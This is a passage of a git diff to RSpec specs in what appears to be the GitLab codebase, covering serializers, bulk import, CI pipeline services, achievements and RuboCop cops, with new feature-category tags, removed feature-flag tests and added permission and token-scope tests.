+ context 'when strong_memoize() is used in a singleton method' do
+ it 'does not register an offense' do
+ expect_no_offenses(<<~RUBY)
+ class Foo
+ def self.memoized_method
+ strong_memoize(:memoized_method) do
+ 'this is a memoized method'
+ end
+ end
+ end
+ RUBY
+ end
+ end
end
diff --git a/spec/rubocop/cop/lint/last_keyword_argument_spec.rb b/spec/rubocop/cop/lint/last_keyword_argument_spec.rb
index b0551a79c50..53f19cd01ee 100644
--- a/spec/rubocop/cop/lint/last_keyword_argument_spec.rb
+++ b/spec/rubocop/cop/lint/last_keyword_argument_spec.rb
@@ -3,7 +3,7 @@
require 'rubocop_spec_helper'
require_relative '../../../../rubocop/cop/lint/last_keyword_argument'
-RSpec.describe RuboCop::Cop::Lint::LastKeywordArgument do
+RSpec.describe RuboCop::Cop::Lint::LastKeywordArgument, :ruby27, feature_category: :not_owned do
before do
described_class.instance_variable_set(:@keyword_warnings, nil)
allow(Dir).to receive(:glob).and_call_original
@@ -156,5 +156,13 @@ RSpec.describe RuboCop::Cop::Lint::LastKeywordArgument do
users.call(params)
SOURCE
end
+
+ context 'with Ruby 3.0', :ruby30 do
+ it 'does not register an offense with known warning' do
+ expect_no_offenses(<<~SOURCE, 'create_service.rb')
+ users.call(params)
+ SOURCE
+ end
+ end
end
end
diff --git a/spec/scripts/trigger-build_spec.rb b/spec/scripts/trigger-build_spec.rb
index 52682387e20..760b9bda541 100644
--- a/spec/scripts/trigger-build_spec.rb
+++ b/spec/scripts/trigger-build_spec.rb
@@ -6,7 +6,7 @@ require 'rspec-parameterized'
require_relative '../../scripts/trigger-build'
-RSpec.describe Trigger do
+RSpec.describe Trigger, feature_category: :tooling do
let(:env) do
{
'CI_JOB_URL' => 'ci_job_url',
@@ -362,6 +362,28 @@ RSpec.describe Trigger do
end
end
+ describe "GITLAB_REF_SLUG" do
+ context 'when CI_COMMIT_TAG is set' do
+ before do
+ stub_env('CI_COMMIT_TAG', 'true')
+ end
+
+ it 'sets GITLAB_REF_SLUG to CI_COMMIT_REF_NAME' do
+ expect(subject.variables['GITLAB_REF_SLUG']).to eq(env['CI_COMMIT_REF_NAME'])
+ end
+ end
+
+ context 'when CI_COMMIT_TAG is nil' do
+ before do
+ stub_env('CI_COMMIT_TAG', nil)
+ end
+
+ it 'sets GITLAB_REF_SLUG to CI_COMMIT_SHA' do
+ expect(subject.variables['GITLAB_REF_SLUG']).to eq(env['CI_COMMIT_SHA'])
+ end
+ end
+ end
+
describe "#version_param_value" do
using RSpec::Parameterized::TableSyntax
diff --git a/spec/serializers/ci/downloadable_artifact_entity_spec.rb b/spec/serializers/ci/downloadable_artifact_entity_spec.rb
index 34a271e7422..3142b03581d 100644
--- a/spec/serializers/ci/downloadable_artifact_entity_spec.rb
+++ b/spec/serializers/ci/downloadable_artifact_entity_spec.rb
@@ -17,7 +17,10 @@ RSpec.describe Ci::DownloadableArtifactEntity do
end
context 'when user cannot read job artifact' do
- let!(:build) { create(:ci_build, :success, :artifacts, :non_public_artifacts, pipeline: pipeline) }
+ let!(:build) do
+ create(:ci_build, :success, :private_artifacts,
+ pipeline: pipeline)
+ end
it 'returns only artifacts readable by user', :aggregate_failures do
expect(subject[:artifacts].size).to eq(1)
diff --git a/spec/serializers/ci/pipeline_entity_spec.rb b/spec/serializers/ci/pipeline_entity_spec.rb
index ff364918b4f..ae992e478a6 100644
--- a/spec/serializers/ci/pipeline_entity_spec.rb
+++ b/spec/serializers/ci/pipeline_entity_spec.rb
@@ -49,16 +49,6 @@ RSpec.describe Ci::PipelineEntity do
.to include :stuck, :auto_devops, :yaml_errors,
:retryable, :cancelable, :merge_request
end
-
- context 'when pipeline_name feature flag is disabled' do
- before do
- stub_feature_flags(pipeline_name: false)
- end
-
- it 'does not return name' do
- is_expected.not_to include(:name)
- end
- end
end
context 'when default branch not protected' do
diff --git a/spec/serializers/diffs_entity_spec.rb b/spec/serializers/diffs_entity_spec.rb
index ba40d538ccb..aa8e7275870 100644
--- a/spec/serializers/diffs_entity_spec.rb
+++ b/spec/serializers/diffs_entity_spec.rb
@@ -9,13 +9,11 @@ RSpec.describe DiffsEntity do
let(:request) { EntityRequest.new(project: project, current_user: user) }
let(:merge_request_diffs) { merge_request.merge_request_diffs }
- let(:merge_conflicts_in_diff) { false }
let(:options) do
{
request: request,
merge_request: merge_request,
- merge_request_diffs: merge_request_diffs,
- merge_conflicts_in_diff: merge_conflicts_in_diff
+ merge_request_diffs: merge_request_diffs
}
end
@@ -101,10 +99,9 @@ RSpec.describe DiffsEntity do
subject[:diff_files]
end
- context 'when merge_conflicts_in_diff is true' do
+ context 'when there are conflicts' do
let(:conflict_file) { double(path: diff_files.first.new_path, conflict_type: :both_modified) }
let(:conflicts) { double(conflicts: double(files: [conflict_file]), can_be_resolved_in_ui?: false) }
- let(:merge_conflicts_in_diff) { true }
before do
allow(merge_request).to receive(:cannot_be_merged?).and_return(true)
diff --git a/spec/serializers/diffs_metadata_entity_spec.rb b/spec/serializers/diffs_metadata_entity_spec.rb
index 04db576ffb5..415a0d8e450 100644
--- a/spec/serializers/diffs_metadata_entity_spec.rb
+++ b/spec/serializers/diffs_metadata_entity_spec.rb
@@ -9,7 +9,6 @@ RSpec.describe DiffsMetadataEntity do
let(:merge_request) { create(:merge_request_with_diffs, target_project: project, source_project: project) }
let(:merge_request_diffs) { merge_request.merge_request_diffs }
let(:merge_request_diff) { merge_request_diffs.last }
- let(:merge_conflicts_in_diff) { false }
let(:options) { {} }
let(:entity) do
@@ -18,8 +17,7 @@ RSpec.describe DiffsMetadataEntity do
options.merge(
request: request,
merge_request: merge_request,
- merge_request_diffs: merge_request_diffs,
- merge_conflicts_in_diff: merge_conflicts_in_diff
+ merge_request_diffs: merge_request_diffs
)
)
end
@@ -67,10 +65,9 @@ RSpec.describe DiffsMetadataEntity do
subject[:diff_files]
end
- context 'when merge_conflicts_in_diff is true' do
+ context 'when there are conflicts' do
let(:conflict_file) { double(path: raw_diff_files.first.new_path, conflict_type: :both_modified) }
let(:conflicts) { double(conflicts: double(files: [conflict_file]), can_be_resolved_in_ui?: false) }
- let(:merge_conflicts_in_diff) { true }
before do
allow(merge_request).to receive(:cannot_be_merged?).and_return(true)
diff --git a/spec/serializers/group_link/project_group_link_entity_spec.rb b/spec/serializers/group_link/project_group_link_entity_spec.rb
index f2a9f3a107a..1a8fcb2cfd3 100644
--- a/spec/serializers/group_link/project_group_link_entity_spec.rb
+++ b/spec/serializers/group_link/project_group_link_entity_spec.rb
@@ -18,6 +18,7 @@ RSpec.describe GroupLink::ProjectGroupLinkEntity do
context 'when current user has `admin_project_member` permissions' do
before do
+ allow(entity).to receive(:can?).with(current_user, :admin_project_group_link, project_group_link).and_return(false)
allow(entity).to receive(:can?).with(current_user, :admin_project_member, project_group_link.project).and_return(true)
end
@@ -25,7 +26,33 @@ RSpec.describe GroupLink::ProjectGroupLinkEntity do
json = entity.as_json
expect(json[:can_update]).to be true
+ expect(json[:can_remove]).to be false
+ end
+ end
+
+ context 'when current user is a group owner' do
+ before do
+ allow(entity).to receive(:can?).with(current_user, :admin_project_group_link, project_group_link).and_return(true)
+ allow(entity).to receive(:can?).with(current_user, :admin_project_member, project_group_link.project).and_return(false)
+ end
+
+ it 'exposes `can_remove` as true' do
+ json = entity.as_json
+
expect(json[:can_remove]).to be true
end
end
+
+ context 'when current user is not a group owner' do
+ before do
+ allow(entity).to receive(:can?).with(current_user, :admin_project_group_link, project_group_link).and_return(false)
+ allow(entity).to receive(:can?).with(current_user, :admin_project_member, project_group_link.project).and_return(false)
+ end
+
+ it 'exposes `can_remove` as false' do
+ json = entity.as_json
+
+ expect(json[:can_remove]).to be false
+ end
+ end
end
diff --git a/spec/serializers/merge_requests/pipeline_entity_spec.rb b/spec/serializers/merge_requests/pipeline_entity_spec.rb
index a8f4fc44f10..414ce6653bc 100644
--- a/spec/serializers/merge_requests/pipeline_entity_spec.rb
+++ b/spec/serializers/merge_requests/pipeline_entity_spec.rb
@@ -51,15 +51,5 @@ RSpec.describe MergeRequests::PipelineEntity do
expect(entity.as_json).not_to include(:coverage)
end
-
- context 'when pipeline_name feature flag is disabled' do
- before do
- stub_feature_flags(pipeline_name: false)
- end
-
- it 'does not return name' do
- is_expected.not_to include(:name)
- end
- end
end
end
diff --git a/spec/serializers/paginated_diff_entity_spec.rb b/spec/serializers/paginated_diff_entity_spec.rb
index 3d77beb9abc..29484d170f8 100644
--- a/spec/serializers/paginated_diff_entity_spec.rb
+++ b/spec/serializers/paginated_diff_entity_spec.rb
@@ -7,13 +7,11 @@ RSpec.describe PaginatedDiffEntity do
let(:request) { double('request', current_user: user) }
let(:merge_request) { create(:merge_request) }
let(:diff_batch) { merge_request.merge_request_diff.diffs_in_batch(2, 3, diff_options: nil) }
- let(:merge_conflicts_in_diff) { false }
let(:options) do
{
request: request,
merge_request: merge_request,
- pagination_data: diff_batch.pagination_data,
- merge_conflicts_in_diff: merge_conflicts_in_diff
+ pagination_data: diff_batch.pagination_data
}
end
@@ -43,10 +41,9 @@ RSpec.describe PaginatedDiffEntity do
subject[:diff_files]
end
- context 'when merge_conflicts_in_diff is true' do
+ context 'when there are conflicts' do
let(:conflict_file) { double(path: diff_files.first.new_path, conflict_type: :both_modified) }
let(:conflicts) { double(conflicts: double(files: [conflict_file]), can_be_resolved_in_ui?: false) }
- let(:merge_conflicts_in_diff) { true }
before do
allow(merge_request).to receive(:cannot_be_merged?).and_return(true)
diff --git a/spec/serializers/project_mirror_entity_spec.rb b/spec/serializers/project_mirror_entity_spec.rb
index 7ed530ed9e8..88531b3c3d3 100644
--- a/spec/serializers/project_mirror_entity_spec.rb
+++ b/spec/serializers/project_mirror_entity_spec.rb
@@ -2,8 +2,8 @@
require 'spec_helper'
-RSpec.describe ProjectMirrorEntity do
- let(:project) { create(:project, :repository, :remote_mirror) }
+RSpec.describe ProjectMirrorEntity, feature_category: :source_code_management do
+ let(:project) { build(:project, :repository, :remote_mirror) }
let(:entity) { described_class.new(project) }
subject { entity.as_json }
diff --git a/spec/serializers/stage_entity_spec.rb b/spec/serializers/stage_entity_spec.rb
index 95d3fd254d4..5cb5724ebdc 100644
--- a/spec/serializers/stage_entity_spec.rb
+++ b/spec/serializers/stage_entity_spec.rb
@@ -63,7 +63,7 @@ RSpec.describe StageEntity do
context 'and contains commit status' do
before do
- create(:generic_commit_status, pipeline: pipeline, stage: 'test')
+ create(:generic_commit_status, pipeline: pipeline, ci_stage: stage)
end
it 'contains commit status' do
diff --git a/spec/services/achievements/create_service_spec.rb b/spec/services/achievements/create_service_spec.rb
new file mode 100644
index 00000000000..f62a45deb50
--- /dev/null
+++ b/spec/services/achievements/create_service_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Achievements::CreateService, feature_category: :users do
+ describe '#execute' do
+ let_it_be(:user) { create(:user) }
+
+ let(:params) { attributes_for(:achievement, namespace: group) }
+
+ subject(:response) { described_class.new(namespace: group, current_user: user, params: params).execute }
+
+ context 'when user does not have permission' do
+ let_it_be(:group) { create(:group) }
+
+ before_all do
+ group.add_developer(user)
+ end
+
+ it 'returns an error' do
+ expect(response).to be_error
+ expect(response.message).to match_array(
+ ['You have insufficient permissions to create achievements for this namespace'])
+ end
+ end
+
+ context 'when user has permission' do
+ let_it_be(:group) { create(:group) }
+
+ before_all do
+ group.add_maintainer(user)
+ end
+
+ it 'creates an achievement' do
+ expect(response).to be_success
+ end
+
+ it 'returns an error when the achievement is not persisted' do
+ params[:name] = nil
+
+ expect(response).to be_error
+ expect(response.message).to match_array(["Name can't be blank"])
+ end
+ end
+ end
+end
diff --git a/spec/services/audit_event_service_spec.rb b/spec/services/audit_event_service_spec.rb
index 063d250f22b..1d079adc0be 100644
--- a/spec/services/audit_event_service_spec.rb
+++ b/spec/services/audit_event_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe AuditEventService do
+RSpec.describe AuditEventService, :with_license do
let_it_be(:project) { create(:project) }
let_it_be(:user) { create(:user, :with_sign_ins) }
let_it_be(:project_member) { create(:project_member, user: user) }
diff --git a/spec/services/bulk_imports/create_pipeline_trackers_service_spec.rb b/spec/services/bulk_imports/create_pipeline_trackers_service_spec.rb
index 5a7852fc32f..9a74f5ca07a 100644
--- a/spec/services/bulk_imports/create_pipeline_trackers_service_spec.rb
+++ b/spec/services/bulk_imports/create_pipeline_trackers_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe BulkImports::CreatePipelineTrackersService do
+RSpec.describe BulkImports::CreatePipelineTrackersService, feature_category: :importers do
describe '#execute!' do
context 'when entity is group' do
it 'creates trackers for group entity' do
diff --git a/spec/services/bulk_imports/create_service_spec.rb b/spec/services/bulk_imports/create_service_spec.rb
index f1e5533139e..75f88e3989c 100644
--- a/spec/services/bulk_imports/create_service_spec.rb
+++ b/spec/services/bulk_imports/create_service_spec.rb
@@ -2,10 +2,11 @@
require 'spec_helper'
-RSpec.describe BulkImports::CreateService do
+RSpec.describe BulkImports::CreateService, feature_category: :importers do
let(:user) { create(:user) }
let(:credentials) { { url: 'http://gitlab.example', access_token: 'token' } }
let(:destination_group) { create(:group, path: 'destination1') }
+ let(:migrate_projects) { true }
let_it_be(:parent_group) { create(:group, path: 'parent-group') }
let(:params) do
[
@@ -13,19 +14,23 @@ RSpec.describe BulkImports::CreateService do
source_type: 'group_entity',
source_full_path: 'full/path/to/group1',
destination_slug: 'destination group 1',
- destination_namespace: 'full/path/to/destination1'
+ destination_namespace: 'parent-group',
+ migrate_projects: migrate_projects
+
},
{
source_type: 'group_entity',
source_full_path: 'full/path/to/group2',
destination_slug: 'destination group 2',
- destination_namespace: 'full/path/to/destination2'
+ destination_namespace: 'parent-group',
+ migrate_projects: migrate_projects
},
{
source_type: 'project_entity',
source_full_path: 'full/path/to/project1',
destination_slug: 'destination project 1',
- destination_namespace: 'full/path/to/destination1'
+ destination_namespace: 'parent-group',
+ migrate_projects: migrate_projects
}
]
end
@@ -33,113 +38,223 @@ RSpec.describe BulkImports::CreateService do
subject { described_class.new(user, params, credentials) }
describe '#execute' do
- let_it_be(:source_version) do
- Gitlab::VersionInfo.new(::BulkImport::MIN_MAJOR_VERSION,
- ::BulkImport::MIN_MINOR_VERSION_FOR_PROJECT)
- end
-
- before do
- allow_next_instance_of(BulkImports::Clients::HTTP) do |instance|
- allow(instance).to receive(:instance_version).and_return(source_version)
- allow(instance).to receive(:instance_enterprise).and_return(false)
- end
- end
+ context 'when gitlab version is 15.5 or higher' do
+ let(:source_version) { { version: "15.6.0", enterprise: false } }
- it 'creates bulk import' do
- parent_group.add_owner(user)
- expect { subject.execute }.to change { BulkImport.count }.by(1)
-
- last_bulk_import = BulkImport.last
-
- expect(last_bulk_import.user).to eq(user)
- expect(last_bulk_import.source_version).to eq(source_version.to_s)
- expect(last_bulk_import.user).to eq(user)
- expect(last_bulk_import.source_enterprise).to eq(false)
-
- expect_snowplow_event(
- category: 'BulkImports::CreateService',
- action: 'create',
- label: 'bulk_import_group'
- )
-
- expect_snowplow_event(
- category: 'BulkImports::CreateService',
- action: 'create',
- label: 'import_access_level',
- user: user,
- extra: { user_role: 'Owner', import_type: 'bulk_import_group' }
- )
- end
-
- it 'creates bulk import entities' do
- expect { subject.execute }.to change { BulkImports::Entity.count }.by(3)
- end
+ context 'when a BulkImports::Error is raised while validating the instance version' do
+ before do
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |client|
+ allow(client)
+ .to receive(:validate_instance_version!)
+ .and_raise(BulkImports::Error, "This is a BulkImports error.")
+ end
+ end
- it 'creates bulk import configuration' do
- expect { subject.execute }.to change { BulkImports::Configuration.count }.by(1)
- end
+ it 'rescues the error and raises a ServiceResponse::Error' do
+ result = subject.execute
- it 'enqueues BulkImportWorker' do
- expect(BulkImportWorker).to receive(:perform_async)
+ expect(result).to be_a(ServiceResponse)
+ expect(result).to be_error
+ expect(result.message).to eq("This is a BulkImports error.")
+ end
+ end
- subject.execute
- end
+ context 'when required scopes are not present' do
+ it 'returns ServiceResponse with error if token does not have api scope' do
+ stub_request(:get, 'http://gitlab.example/api/v4/version?private_token=token').to_return(status: 404)
+ stub_request(:get, 'http://gitlab.example/api/v4/metadata?private_token=token')
+ .to_return(
+ status: 200,
+ body: source_version.to_json,
+ headers: { 'Content-Type' => 'application/json' }
+ )
- it 'returns success ServiceResponse' do
- result = subject.execute
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |client|
+ allow(client).to receive(:validate_instance_version!).and_raise(BulkImports::Error.scope_validation_failure)
+ end
- expect(result).to be_a(ServiceResponse)
- expect(result).to be_success
- end
+ result = subject.execute
- it 'returns ServiceResponse with error if validation fails' do
- params[0][:source_full_path] = nil
+ expect(result).to be_a(ServiceResponse)
+ expect(result).to be_error
+ expect(result.message)
+ .to eq(
+ "Import aborted as the provided personal access token does not have the required 'api' scope or is " \
+ "no longer valid."
+ )
+ end
+ end
- result = subject.execute
+ context 'when token validation succeeds' do
+ before do
+ stub_request(:get, 'http://gitlab.example/api/v4/version?private_token=token').to_return(status: 404)
+ stub_request(:get, 'http://gitlab.example/api/v4/metadata?private_token=token')
+ .to_return(status: 200, body: source_version.to_json, headers: { 'Content-Type' => 'application/json' })
+ stub_request(:get, 'http://gitlab.example/api/v4/personal_access_tokens/self?private_token=token')
+ .to_return(
+ status: 200,
+ body: { 'scopes' => ['api'] }.to_json,
+ headers: { 'Content-Type' => 'application/json' }
+ )
+ end
- expect(result).to be_a(ServiceResponse)
- expect(result).to be_error
- expect(result.message).to eq("Validation failed: Source full path can't be blank")
- end
+ it 'creates bulk import' do
+ parent_group.add_owner(user)
+ expect { subject.execute }.to change { BulkImport.count }.by(1)
- describe '#user-role' do
- context 'when there is a parent_namespace and the user is a member' do
- let(:group2) { create(:group, path: 'destination200', source_id: parent_group.id ) }
- let(:params) do
- [
- {
- source_type: 'group_entity',
- source_full_path: 'full/path/to/group1',
- destination_slug: 'destination200',
- destination_namespace: 'parent-group'
- }
- ]
- end
+ last_bulk_import = BulkImport.last
+ expect(last_bulk_import.user).to eq(user)
+ expect(last_bulk_import.source_version).to eq(source_version[:version])
+ expect(last_bulk_import.user).to eq(user)
+ expect(last_bulk_import.source_enterprise).to eq(false)
- it 'defines access_level from parent namespace membership' do
- parent_group.add_guest(user)
- subject.execute
+ expect_snowplow_event(
+ category: 'BulkImports::CreateService',
+ action: 'create',
+ label: 'bulk_import_group'
+ )
expect_snowplow_event(
category: 'BulkImports::CreateService',
action: 'create',
label: 'import_access_level',
user: user,
- extra: { user_role: 'Guest', import_type: 'bulk_import_group' }
+ extra: { user_role: 'Owner', import_type: 'bulk_import_group' }
)
end
+
+ describe 'projects migration flag' do
+ let(:import) { BulkImport.last }
+
+ context 'when false' do
+ let(:migrate_projects) { false }
+
+ it 'sets false' do
+ subject.execute
+
+ expect(import.entities.pluck(:migrate_projects)).to contain_exactly(false, false, false)
+ end
+ end
+
+ context 'when true' do
+ let(:migrate_projects) { true }
+
+ it 'sets true' do
+ subject.execute
+
+ expect(import.entities.pluck(:migrate_projects)).to contain_exactly(true, true, true)
+ end
+ end
+
+ context 'when nil' do
+ let(:migrate_projects) { nil }
+
+ it 'sets true' do
+ subject.execute
+
+ expect(import.entities.pluck(:migrate_projects)).to contain_exactly(true, true, true)
+ end
+ end
+ end
end
+ end
- context 'when there is a parent_namespace and the user is not a member' do
- let(:params) do
- [
- {
- source_type: 'group_entity',
- source_full_path: 'full/path/to/group1',
- destination_slug: 'destination-group-1',
- destination_namespace: 'parent-group'
- }
- ]
+ context 'when gitlab version is lower than 15.5' do
+ let(:source_version) do
+ Gitlab::VersionInfo.new(::BulkImport::MIN_MAJOR_VERSION,
+ ::BulkImport::MIN_MINOR_VERSION_FOR_PROJECT)
+ end
+
+ before do
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |instance|
+ allow(instance).to receive(:instance_version).and_return(source_version)
+ allow(instance).to receive(:instance_enterprise).and_return(false)
+ end
+ end
+
+ it 'creates bulk import' do
+ parent_group.add_owner(user)
+ expect { subject.execute }.to change { BulkImport.count }.by(1)
+
+ last_bulk_import = BulkImport.last
+
+ expect(last_bulk_import.user).to eq(user)
+ expect(last_bulk_import.source_version).to eq(source_version.to_s)
+ expect(last_bulk_import.user).to eq(user)
+ expect(last_bulk_import.source_enterprise).to eq(false)
+
+ expect_snowplow_event(
+ category: 'BulkImports::CreateService',
+ action: 'create',
+ label: 'bulk_import_group'
+ )
+
+ expect_snowplow_event(
+ category: 'BulkImports::CreateService',
+ action: 'create',
+ label: 'import_access_level',
+ user: user,
+ extra: { user_role: 'Owner', import_type: 'bulk_import_group' }
+ )
+ end
+
+ it 'creates bulk import entities' do
+ expect { subject.execute }.to change { BulkImports::Entity.count }.by(3)
+ end
+
+ it 'creates bulk import configuration' do
+ expect { subject.execute }.to change { BulkImports::Configuration.count }.by(1)
+ end
+
+ it 'enqueues BulkImportWorker' do
+ expect(BulkImportWorker).to receive(:perform_async)
+
+ subject.execute
+ end
+
+ it 'returns success ServiceResponse' do
+ result = subject.execute
+
+ expect(result).to be_a(ServiceResponse)
+ expect(result).to be_success
+ end
+
+ it 'returns ServiceResponse with error if validation fails' do
+ params[0][:source_full_path] = nil
+
+ result = subject.execute
+
+ expect(result).to be_a(ServiceResponse)
+ expect(result).to be_error
+ expect(result.message).to eq("Validation failed: Source full path can't be blank")
+ end
+
+ describe '#user-role' do
+ context 'when there is a parent_namespace and the user is a member' do
+ let(:group2) { create(:group, path: 'destination200', source_id: parent_group.id ) }
+ let(:params) do
+ [
+ {
+ source_type: 'group_entity',
+ source_full_path: 'full/path/to/group1',
+ destination_slug: 'destination200',
+ destination_namespace: 'parent-group'
+ }
+ ]
+ end
+
+ it 'defines access_level from parent namespace membership' do
+ parent_group.add_guest(user)
+ subject.execute
+
+ expect_snowplow_event(
+ category: 'BulkImports::CreateService',
+ action: 'create',
+ label: 'import_access_level',
+ user: user,
+ extra: { user_role: 'Guest', import_type: 'bulk_import_group' }
+ )
+ end
end
it 'defines access_level as not a member' do
diff --git a/spec/services/bulk_imports/get_importable_data_service_spec.rb b/spec/services/bulk_imports/get_importable_data_service_spec.rb
index eccd3e5f49d..570f5199f01 100644
--- a/spec/services/bulk_imports/get_importable_data_service_spec.rb
+++ b/spec/services/bulk_imports/get_importable_data_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe BulkImports::GetImportableDataService do
+RSpec.describe BulkImports::GetImportableDataService, feature_category: :importers do
describe '#execute' do
include_context 'bulk imports requests context', 'https://gitlab.example.com'
@@ -34,6 +34,18 @@ RSpec.describe BulkImports::GetImportableDataService do
]
end
+ let(:source_version) do
+ Gitlab::VersionInfo.new(::BulkImport::MIN_MAJOR_VERSION,
+ ::BulkImport::MIN_MINOR_VERSION_FOR_PROJECT)
+ end
+
+ before do
+ allow_next_instance_of(BulkImports::Clients::HTTP) do |instance|
+ allow(instance).to receive(:instance_version).and_return(source_version)
+ allow(instance).to receive(:instance_enterprise).and_return(false)
+ end
+ end
+
subject do
described_class.new(params, query_params, credentials).execute
end
diff --git a/spec/services/chat_names/authorize_user_service_spec.rb b/spec/services/chat_names/authorize_user_service_spec.rb
index 53d90c7f100..4c261ece504 100644
--- a/spec/services/chat_names/authorize_user_service_spec.rb
+++ b/spec/services/chat_names/authorize_user_service_spec.rb
@@ -2,12 +2,11 @@
require 'spec_helper'
-RSpec.describe ChatNames::AuthorizeUserService do
+RSpec.describe ChatNames::AuthorizeUserService, feature_category: :users do
describe '#execute' do
- let(:integration) { create(:integration) }
let(:result) { subject.execute }
- subject { described_class.new(integration, params) }
+ subject { described_class.new(params) }
context 'when all parameters are valid' do
let(:params) { { team_id: 'T0001', team_domain: 'myteam', user_id: 'U0001', user_name: 'user' } }
diff --git a/spec/services/ci/create_downstream_pipeline_service_spec.rb b/spec/services/ci/create_downstream_pipeline_service_spec.rb
index bcdb2b4f796..fd978bffacb 100644
--- a/spec/services/ci/create_downstream_pipeline_service_spec.rb
+++ b/spec/services/ci/create_downstream_pipeline_service_spec.rb
@@ -41,12 +41,6 @@ RSpec.describe Ci::CreateDownstreamPipelineService, '#execute', feature_category
subject { service.execute(bridge) }
- shared_context 'when ci_bridge_remove_sourced_pipelines is disabled' do
- before do
- stub_feature_flags(ci_bridge_remove_sourced_pipelines: false)
- end
- end
-
context 'when downstream project has not been found' do
let(:trigger) do
{ trigger: { project: 'unknown/project' } }
@@ -128,19 +122,6 @@ RSpec.describe Ci::CreateDownstreamPipelineService, '#execute', feature_category
expect(pipeline.source_bridge).to be_a ::Ci::Bridge
end
- context 'when ci_bridge_remove_sourced_pipelines is disabled' do
- include_context 'when ci_bridge_remove_sourced_pipelines is disabled'
-
- it 'creates a new pipeline in a downstream project' do
- expect(pipeline.user).to eq bridge.user
- expect(pipeline.project).to eq downstream_project
- expect(bridge.sourced_pipelines.first.pipeline).to eq pipeline
- expect(pipeline.triggered_by_pipeline).to eq upstream_pipeline
- expect(pipeline.source_bridge).to eq bridge
- expect(pipeline.source_bridge).to be_a ::Ci::Bridge
- end
- end
-
it_behaves_like 'logs downstream pipeline creation' do
let(:downstream_pipeline) { pipeline }
let(:expected_root_pipeline) { upstream_pipeline }
@@ -179,31 +160,6 @@ RSpec.describe Ci::CreateDownstreamPipelineService, '#execute', feature_category
expect(subject).to be_error
expect(subject.message).to eq("Already has a downstream pipeline")
end
-
- context 'when ci_bridge_remove_sourced_pipelines is disabled' do
- include_context 'when ci_bridge_remove_sourced_pipelines is disabled'
-
- before do
- bridge.sourced_pipelines.create!(
- source_pipeline: bridge.pipeline,
- source_project: bridge.project,
- project: bridge.project,
- pipeline: create(:ci_pipeline, project: bridge.project)
- )
- end
-
- it 'logs an error and exits' do
- expect(Gitlab::ErrorTracking)
- .to receive(:track_exception)
- .with(
- instance_of(described_class::DuplicateDownstreamPipelineError),
- bridge_id: bridge.id, project_id: bridge.project.id)
- .and_call_original
- expect(Ci::CreatePipelineService).not_to receive(:new)
- expect(subject).to be_error
- expect(subject.message).to eq("Already has a downstream pipeline")
- end
- end
end
context 'when target ref is not specified' do
@@ -237,19 +193,6 @@ RSpec.describe Ci::CreateDownstreamPipelineService, '#execute', feature_category
expect(pipeline.source_bridge).to be_a ::Ci::Bridge
end
- context 'when ci_bridge_remove_sourced_pipelines is disabled' do
- include_context 'when ci_bridge_remove_sourced_pipelines is disabled'
-
- it 'creates a new pipeline in a downstream project' do
- expect(pipeline.user).to eq bridge.user
- expect(pipeline.project).to eq downstream_project
- expect(bridge.sourced_pipelines.first.pipeline).to eq pipeline
- expect(pipeline.triggered_by_pipeline).to eq upstream_pipeline
- expect(pipeline.source_bridge).to eq bridge
- expect(pipeline.source_bridge).to be_a ::Ci::Bridge
- end
- end
-
it 'updates the bridge status when downstream pipeline gets processed' do
expect(pipeline.reload).to be_failed
expect(bridge.reload).to be_failed
@@ -301,20 +244,6 @@ RSpec.describe Ci::CreateDownstreamPipelineService, '#execute', feature_category
expect(pipeline.source_bridge).to be_a ::Ci::Bridge
end
- context 'when ci_bridge_remove_sourced_pipelines is disabled' do
- include_context 'when ci_bridge_remove_sourced_pipelines is disabled'
-
- it 'creates a child pipeline in the same project' do
- expect(pipeline.builds.map(&:name)).to match_array(%w[rspec echo])
- expect(pipeline.user).to eq bridge.user
- expect(pipeline.project).to eq bridge.project
- expect(bridge.sourced_pipelines.first.pipeline).to eq pipeline
- expect(pipeline.triggered_by_pipeline).to eq upstream_pipeline
- expect(pipeline.source_bridge).to eq bridge
- expect(pipeline.source_bridge).to be_a ::Ci::Bridge
- end
- end
-
it 'updates bridge status when downstream pipeline gets processed' do
expect(pipeline.reload).to be_created
expect(bridge.reload).to be_success
@@ -825,11 +754,13 @@ RSpec.describe Ci::CreateDownstreamPipelineService, '#execute', feature_category
it 'does not create a pipeline and drops the bridge' do
expect { subject }.not_to change(downstream_project.ci_pipelines, :count)
expect(subject).to be_error
- expect(subject.message).to match_array(["No stages / jobs for this pipeline."])
+ expect(subject.message).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
expect(bridge.reload).to be_failed
expect(bridge.failure_reason).to eq('downstream_pipeline_creation_failed')
- expect(bridge.options[:downstream_errors]).to eq(['No stages / jobs for this pipeline.'])
+ expect(bridge.options[:downstream_errors]).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
diff --git a/spec/services/ci/create_pipeline_service/cache_spec.rb b/spec/services/ci/create_pipeline_service/cache_spec.rb
index 82c3d374636..f9640f99031 100644
--- a/spec/services/ci/create_pipeline_service/cache_spec.rb
+++ b/spec/services/ci/create_pipeline_service/cache_spec.rb
@@ -37,6 +37,7 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
paths: ['logs/', 'binaries/'],
policy: 'pull-push',
untracked: true,
+ unprotect: false,
when: 'on_success'
}
@@ -69,7 +70,8 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
key: /[a-f0-9]{40}/,
paths: ['logs/'],
policy: 'pull-push',
- when: 'on_success'
+ when: 'on_success',
+ unprotect: false
}
expect(pipeline).to be_persisted
@@ -85,7 +87,8 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
key: /default/,
paths: ['logs/'],
policy: 'pull-push',
- when: 'on_success'
+ when: 'on_success',
+ unprotect: false
}
expect(pipeline).to be_persisted
@@ -118,7 +121,8 @@ RSpec.describe Ci::CreatePipelineService, :yaml_processor_feature_flag_corectnes
key: /\$ENV_VAR-[a-f0-9]{40}/,
